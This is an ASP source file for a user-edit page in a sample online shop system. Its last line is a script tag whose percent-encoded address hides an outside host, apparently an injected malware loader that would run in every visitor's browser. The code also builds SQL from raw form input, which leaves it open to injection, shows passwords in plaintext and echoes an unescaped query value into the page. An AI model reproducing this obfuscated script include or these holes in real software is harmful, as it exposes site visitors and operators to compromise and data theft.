shopa_user_edit.asp

vb的一个事例,简单了一点,但实用的一个电子超市系统

<!--#include file="shop$db.asp"-->
<!--#include file="shopa_tools.asp"-->
<%ShopCheckAdmin
OpenDB con, Session("db")
If Request("change")<>"" Then
	For each item in request("Access")
	a = a & "," & item
	Next
	access = Right(a,Len(a)-1)
	SQL = "UPDATE tblUser SET fldUsername = '" & Request("UserName") & "', fldPassword='" & Request("Password") & "',fldAccess='" & access & "' WHERE fldAuto=" & cINT(Request("id"))
	con.Execute(SQL)
	response.redirect "shopa_user_control.asp"
End If
AdminPageHeader
SQL = "SELECT * FROM tblUser WHERE fldAuto=" & cINT(Request.QueryString("id"))
Set objRec = con.Execute(SQL)
%>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<form action="shopa_user_edit.asp" method="post">
</font></font></font><table>
<tr>
	<td colspan="2"><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><center><font face="arial" size=3 ><b>Change User Information  & Program Access</b></font><br>
</center></font></font></font></td>
</tr>
<tr>
	<td><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="arial" size=2 color=navy><b>Username:</b></font></font></font></font></td>
	<td><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><input type="text" name="UserName" value="<%=objRec("fldUserName")%>"></font></font></font></td>
</tr>
<tr>
	<td><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="arial" size=2 color=navy><b>密码:</b></font></font></font></font></td>
	<td><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><input type="text" name="Password" value="<%=objRec("fldPassword")%>"></font></font></font></td>
</tr>
<tr>
	<td><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica">&nbsp;</font></font></font></td>
	<td><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="arial" size=2 color=navy><b>Access:</b></font><br>
	<%BuildAccess Request.QueryString("id")%>
	</font></font></font></td>
</tr>
<tr>
	<td colspan="2"><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><center><input type="submit" value="Change User" name="change"></center></font></font></font></td>
</tr>
</table><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica">
<input type="hidden" name="id" value="<%=Request.QueryString("id")%>">
</form>
</table><font face="Trebuchet MS, Arial, Helvetica"><font face="Arial, Arial, Helvetica"><font face="Arial, Arial, Helvetica">
<%
AdminPageTrailer
%>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>